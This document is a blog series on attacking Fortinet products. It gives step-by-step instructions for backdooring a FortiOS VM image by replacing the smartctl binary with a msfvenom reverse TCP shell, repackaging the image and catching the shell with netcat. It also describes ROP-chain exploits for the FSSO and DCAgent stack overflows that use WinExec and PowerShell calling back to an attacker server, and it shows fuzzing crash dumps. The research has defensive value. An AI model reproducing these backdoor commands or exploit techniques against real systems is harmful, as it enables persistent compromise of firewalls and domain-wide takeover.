Backdooring a FortiOS VM

Lately I’ve been playing with FortiOS 5.4 Beta 3 VM.  In previous versions of FortiOS, you could use the hidden fnsysctl command to run linux CLI commands (only a subset, unfortunately).  For example, if you download the FortiOS 5.2 x86 VM, you can run the command “fnsysctl cat /proc/version”, which will display the Linux kernel version it uses.

For those of you that didn’t know, FortiOS is Linux. They are the same.  And FortiOS, up to and including version 5.2, is Linux 2.4. This means that FortiOS does not have ASLR, DEP, stack cookies, or any modern Linux exploit countermeasures.  And everything is written in C, and all processes run as root.

Personally, I find this bizarre. The company I work for has FortiGate firewalls, and it’s a little weird to think that the only Linux box we have running kernel 2.4 is the box we’re using to protect all the other Linux boxes.  Anyway, I digress.

Back to FortiOS 5.4. It seems that Fortinet is tired of porting third-party vendor SDK driver code back to Linux 2.4, so they decided to upgrade the kernel to 3.2. ASLR is even enabled. Not sure about DEP, but I know stack cookies aren’t enabled. But it also appears that “fnsysctl” has been removed. Let’s fix that.

Once you’ve downloaded the OVF zip archive, unzip it, then run ovftool to get it working on VMware Fusion (or Workstation). You will find that it sets up two disks, with the first disk name ending with “-disk1.vmdk”. This is the system boot drive and is formatted ext2.

For our experiment, you’ll need a Linux box. Something on the 3.x kernel, running 32-bit (i686-pae is fine). In VMware, add an “existing disk” to your Linux VM. It’s fine to copy the disk rather than sharing it with the FortiOS VM. Make sure that FortiOS is powered down via “exec shutdown” and not simply suspended.

Once you’ve copied the VMDK and connected it to your Linux VM, mount the disk via “mkdir /mnt/fos” and “mount /dev/sdb1 /mnt/fos”. The disk may be detected as something other than /dev/sdb1.  Use the output of dmesg to check.

Now cd to the /mnt/fos directory, and enter “ls -la”.  You should see the following files:

drwxr-xr-x 8 root root     1024 Aug 30 21:06 .
drwxr-xr-x 8 root root     4096 Aug 30 10:29 ..
drwxr-xr-x 2 root root     1024 Aug 17 20:53 bin
-rw-r–r– 1 root root        1 Aug 17 20:53 boot.msg
drwxr-xr-x 2 root root     1024 Aug 24 17:54 cmdb
drwxr-xr-x 2 root root     1024 Aug 30 19:58 config
-rwxr-xr-x 1 root root    32516 Aug 30 20:03 crash
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp6s_db.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcpddb.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp_ipmac.dat.bak
drwxr-xr-x 8 root root     2048 Aug 24 14:51 etc
-rw-r–r– 1 root root      124 Aug 17 20:53 extlinux.conf
-rw-r–r– 1 root root  2314464 Aug 17 20:53 flatkc
-rw-r–r– 1 root root      256 Aug 17 20:53 flatkc.chk
-r–r–r– 1 root root    32256 Aug 17 20:53 ldlinux.sys
drwxr-xr-x 2 root root     1024 Aug 22 10:59 lib
drwx—— 2 root root    12288 Aug 17 20:53 lost+found
-rw-r–r– 1 root root 21959605 Aug 31 19:21 rootfs.gz
-rw-r–r– 1 root root      256 Aug 17 20:53 rootfs.gz.chk

Great. Now if you cat the extlinux.conf file, you will see that the initrd is set to rootfs.gz. Go ahead and extract this file with gzip, preferably to a different directory. I extracted mine to /root/rootfs. I’m using Kali so hence running as root.

The rootfs blob you extracted is a cpio image. You can extract the files with cpio, using the syntax “cat rootfs | cpio -idmv”. You should now see all the files in the rootfs directory. Go ahead and delete the extracted gzip (called rootfs).

So now we have the following files in our /root/rootfs directory:

drwxr-xr-x 11 root root     4096 Aug 30 10:34 .
drwxr-xr-x 60 root root     4096 Aug 31 19:10 ..
-rw-r–r–  1 root root 12463836 Aug 31 19:21 bin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data2
drwxr-xr-x  6 root root    20480 Aug 30 10:34 dev
lrwxrwxrwx  1 root root        8 Aug 30 10:34 etc -> data/etc
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev -> /
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev4 -> /
lrwxrwxrwx  1 root root       10 Aug 30 10:34 init -> /sbin/init
drwxr-xr-x  2 root root     4096 Aug 30 10:34 lib
-rw-r–r–  1 root root  5104324 Aug 17 20:51 migadmin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 proc
drwxr-xr-x  2 root root     4096 Aug 30 10:34 sbin
drwxr-xr-x  2 root root     4096 Aug 17 20:51 sys
drwxr-xr-x  2 root root     4096 Aug 17 20:51 tmp
-rw-r–r–  1 root root  1112980 Aug 17 20:52 usr.tar.xz
drwxr-xr-x  8 root root     4096 Aug 30 10:34 var

We’re almost there. The file we’re looking for is called bin.tar.xz. It appears to be an xz compressed tar file, however, all of my attempts to extract this file with xz indicates that it is corrupted.

Fortinet must have altered their version of tar and xz. Luckily, they’ve left their copy kicking around for us to play with. If you look in the /root/rootfs/sbin directory there are three files: init, ftar and xz. To makes these files run, you can chroot to the /root/rootfs directory so that they find their libs in the right directory. Worked fine for me on Kali 1.x running i686-pae kernel.

Extract the contents of the bin.tar.xz using “chroot /root/rootfs sbin/xz -d bin.tar.xz” and “chroot /root/rootfs sbin/ftar -xf bin.tar”.  Issue these commands from the /root/rootfs directory. This should unpack the files into the bin directory under the rootfs.

Now we need to backdoor a binary. I make it really simple. Just “cd” into the rootfs bin directory, and run “rm smartctl” and “msfvenom -p linux/x86/shell_reverse_tcp -f elf -o smartctl LHOST= LPORT=22”. Use an LHOST IP address that the FortiOS VM has connectivity to. This will overwrite the smartctl file with a TCP reverse shell.

Now we need to repackage the files:

cd /root/rootfs

rm bin.tar

rm bin.tar.xz

chroot /root/rootfs sbin/ftar -cf bin.tar bin

chroot /root/rootfs sbin/xz –check=sha256 -e bin.tar

rm bin/*

find . | cpio -H newc -o > /root/rootfs.raw

cat /root/rootfs.raw | gzip > /mnt/fos/rootfs.gz

Now unmount the FortiOS partition and shutdown your Linux VM. Copy the “-disk1.vdmk” that was mounted on your Linux VM over the same VMDK from the FortiOS VM. Now start the FortiOS VM. Try not to act shocked when it boots :)

Once the system is booted, login and drop to a CLI. On your host system, startup a netcat listener:

sudo nc -v -l 22

Now on the FortiOS VM, issue the command: “diag hardware smartctl”.  You should get your connect-back shell.

Now the first thing you’ll likely notice is:

/bin/sh: ls: not found

Don’t panic. This is expected. FortiOS uses “busybox” style binaries extensively, so the command you’re looking for is:

/bin/sysctl ls

The “sysctl” binary has a lot of command line tools, which you can discover by entering the /bin/sysctl command by itself. Now that you have a shell, go and statically compile gdb and get fuzzing.

At this point, you may be wondering: doesn’t FortiOS have integrity checks to prevent this sort of thing? What’s the rootfs.gz.chk file for, then? The answer is, yes, it appears that firmware images and critical files such as the rootfs and kernel do have these signatures in the form of “chk” files.

However, these files are only checked when in FIPS mode. FIPS mode also disables most of the features on the box, so outside of the government, I do not think anyone actually enables FIPS mode. What’s interesting about that, is that all the “certifications” that FortiOS has, ie. EAL4+, are tested while running in FIPS mode.

Thanks for reading! Next post, we’re going to try extracting firmware files of other platforms (real FortiGate hardware firewalls), backdoor them, then see if we can upgrade to a backdoored image.  Should be lots of fun.

Fortinet FSSO Exploits

In my last post, I fuzzed FSSO on port 8000 with Peach fuzzer to replicate the exploitable overflow discovered by Enrique Nissim of Core Security.  It turns out that the DC Agent service on UDP port 8002 also has an exploitable overflow that seems to have been patched after build 143.  In this post we’ll present an exploit for each of these issues.

DCAgent Protocol

The DCAgent protocol is a collector service that aggregates login events from other domain controllers.  There is no authentication and it’s transported over UDP.  We’ll ignore the obvious security flaw here — anyone can send a UDP packet and will be authenticated in FSSO as any user they choose.  Instead we’ll fuzz the service and see if we can find an exploitable crash.

To get an idea of the various fields in this protocol, you can download the Peach Pit from github.  It’s basically a header and trailer with a login record encapsulated within.  The login record is comprised of the user’s IP address and their “DOMAIN\user” AD username.

Fuzzing this protocol on build 143 results in some fairly obvious stack overwrites:

eax=00000000 ebx=75e89894 ecx=00000000 edx=11a9f744 esi=75ea47ad edi=75e8dbeb
eip=41fffe41 esp=11a9f848 ebp=1c6fcf60 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41fffe41 ?? ???

ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
11a9f844 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f848 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f84c 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f850 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f854 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41
11a9f858 41fffe41 41fffe41 41fffe41 41fffe41 0x41fffe41

This appears to be triggered by overflowing the IP address string field in the login record, resulting in direct return address overwrite. Why they wouldn’t use /GS and SafeSEH (not to mention ASLR) on a service providing authentication is beyond me.

The first step towards developing a stack buffer overflow exploit is figuring out the buffer offset to the EIP overwrite.  I used Metasploit’s pattern_create/pattern_offset utilities for this purpose.  This provided reliable control over EIP.

Unfortunately, there is still DEP to contend with.  Normally, when DEP is combined with ASLR, it forms a fairly robust defense against stack buffer overflow exploitation.  DEP is opt-out on Windows 2008 and Windows 2012 Server, so it is enabled by default.  ASLR, on the other hand, is opt-in.  It requires that the libraries and binary are relocatable.  In the FSSO service, both collectoragent.exe and ssleay32.dll are not relocatable and no ASLR is applied to these modules.

Without ASLR, we can reuse existing pieces of the code contained in non-ASLR modules so that we are not required to directly execute code from the stack.  This can be accomplished by using a ROP Chain.  There are a few other issues however.

First, we have very limited buffer space since the exploit must fit in a small buffer within a single UDP packet.  This means we have to keep the ROP chain quite small.

Second, at the point of EIP overwrite, our buffer has been modifed — all lower case characters have been converted to upper case.  Normally this would make exploitation very difficult since it’s nearly impossible to build a ROP chain without any lower case characters (it’s tricky enough to build a ROP chain in the first place).  Using the debugger, I discovered that the original buffer is still on the stack.  We’ll have to adjust ESP through a phase I ROP chain in order to pivot to the unmodified buffer.

Third, we can’t use nulls since the exploitable condition is a result of a libc string handling function, probably an sprintf or strcpy (I haven’t actually checked).  To make things even more fun, we also can’t use the forward slash (byte value 0x2f) because this is the delimiter between the IP Address, domain and user name.  These values, 0x00 and 0x2f, are so-called bad characters.

The ROP Chain

Given the constraints above, I decided to keep things simple (or hacky, depending on your perspective).  I’ll use a short chain to call WinExec.  WinExec will launch a short snippet of Powershell code, which will call back to our web server and pull down a Powershell payload.

The WinExec function isn’t present in any of the non-ASLR module’s import address tables (IATs), so we’ll have to use an offset from a Kernel32 export present in the IAT.  I’m using GetTimeZoneInformation for this purpose, which is probably not a great choice.  The caveat with using a delta is that we must use hard-coded values.  The delta between the GetTZInfo function and WinExec is Windows version specific and it often changes between service pack or even between security updates.

Strictly speaking, we also can’t use a hard-coded delta since this contains nulls, instead we must use the binary 1’s complement in the actual ROP chain and hope that it doesn’t contain any bad characters.  I’ve included most of the magic values for versions of the kernel32.dll used by Windows Server 2008 R2 and 2012 R2 in the exploit.  If I missed a version you’d like to test with, use this short stand-alone Ruby script to generate magic values for kernel32.dll.  I admit it’s a bit of a kludge.

The PoC exploit, complete with ROP chain, is available on github here.  This issue seems to be patched after build 143.

FSSO Exploit

Now that we have a working ROP chain we can plug that into the FSSO exploit and it should just work.  Again we’ll need to use MSF pattern_create/pattern_offset to find the EIP overwrite.  For our exploit, this is at 96 bytes into the serial number field of the FSSO packet.  We can simply start the ROP chain right at offset 96.

You can find the PoC exploit for FSSO on TCP port 8000 here.  This issue is patched in build 237, but the ROP chain currently only works up to build 143 due to changes in the OpenSSL libraries (feel free to tweak if you need to pop build 161).

Next Steps

While the DCAgent overflow requires such a convoluted ROP chain due to bad characters and space limitations, the FSSO overflow does not have these limitations.  It is triggered via a bad memcpy into a stack buffer, so nulls are allowed.  If I have time I’ll write a new ROP chain for that exploit in order to make it more portable (or at least not Windows version specific).  Until then, happy exploitation!

Fuzzing for Domain Admin

Last week Enrique Nissim of Core Security published an article called Analysis of a Remote Code Execution Vulnerability on Fortinet Single Sign On.  Lately I’ve been using Deva Vu Security’s excellent Peach Fuzzer to find vulnerabilities, and I wanted to see how easy this would be to reproduce.

First, I installed Wireshark, Windbg, Peach 3 and FSSO 4.3.143 onto a Windows 2008 R2 server VM.  While Windows 2008 R2 is 64-bit only, FSSO is always 32-bit, which should make writing the exploit simpler.  Next, I loaded up a FortiGate VM and configured FSSO according to the documentation.  All Fortinet products can be downloaded and trialed for 14-days which makes vulnerability hunting a breeze, although you will have to set up an account first.

As indicated by Enrique’s article, FSSO communicates via TCP port 8000.  A Wireshark capture shows the structure of the hello packet:


The capture shows the packet format as follows:

  • A packet header, comprised of 32-bit big endian size field of the whole payload including the size field, a tag value of 80, and a type value of 06.  These tag and type value correspond to a hello packet.
  • TLV-like structures, with the same size, tag, type and value structures.
  • TLVs for version, serial number and an MD5 authentication hash.

Peach fuzzer uses XML to describe how to fuzz a target.  The portion of the XML that describes the packet format is the data model.  Other sections include a state model, which describes stateful protocols (we’re only fuzzing the hello packet), an agent, which describes how to instrument the target, and a test, which describes how to interface with the target.  The full Peach Pit can be found on github.

Running the Peach Pit is simple.  I’ve installed Peach into the directory c:\peach on the Windows 2008 R2 VM.  You can start fuzzing by copying the Pit to the peach directory and running “peach.exe fsso.xml”.

After only 41 fuzz runs, I obtained the following crash:

(13f8.e54): Access violation - code c0000005 (first chance)
eax=fffffffe ebx=00000658 ecx=75e898da edx=1c781104 esi=ffffffff edi=1c7e2ce8
eip=41414141 esp=1cbbfe1c ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
41414141 ??              ???

Textbook stack buffer overflow.  To make the situation worse, two modules in the FSSO service do not use ASLR:


So we know we can get 0x41414141, and we know we have at least two modules that do not have ASLR enabled, and one of them contains address values with no nulls, which is perfect for a ROP chain.

FSSO usually runs as domain administrator.  If we’re able to exploit this service we effectively have control over the entire network.  While Fortinet might not be a common household name like Cisco or Microsoft, Fortinet has sold over a million firewalls and FSSO is widely deployed.  It is also quite likely that there are other vulnerabilities in this service, such as the DCAgent protocol running on UDP port 8002 (which is also enabled by default).  Next week I’ll demonstrate how to build a working Metasploit module for this vulnerability, and we’ll try some fuzzing of the DCAgent protocol.